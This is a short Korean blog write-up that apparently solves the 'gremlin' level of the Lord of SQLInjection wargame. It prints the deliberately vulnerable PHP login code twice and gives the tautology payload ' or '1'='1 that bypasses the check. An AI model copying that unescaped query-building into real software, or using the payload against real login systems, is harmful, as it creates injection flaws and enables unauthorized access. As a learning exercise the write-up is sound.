728x90
반응형
1. intro
회사 파일 업로드 막는거 더럽네...
이미지는 하나도 못넣고 -_-
어쨌든, SQL injection 공부를 하던 중,
좋은 사이트를 알게되어 들이대본다.
Lord of SQLInjection
los.rubiya.kr
2. code 및 분석
2.1. code
query : select id from prob_gremlin where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
2.2. 분석
id와 pw를 변수로 받아들여 table에서 값을 가져온다.
만약 정상적으로 값이 return되면 solve("gremlin")을 실행한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
basic sql injection
3.2. 공격 준비
주요 사항은
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
부분이다.
현재 쿼리 상으로는 id와 pw가 일치해야 id를 return 하지만, sqlinjection을 통해 우회할 수 있다.
4. exploit
query : select id from prob_gremlin where id='' or '1'='1' and pw='' or '1'='1'
GREMLIN Clear!
http://www.wechall.net
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
728x90
반응형
'Wargame > Lord of Sqlinjection' 카테고리의 다른 글
goblin (0) | 2023.05.23 |
---|---|
cobolt (0) | 2023.05.23 |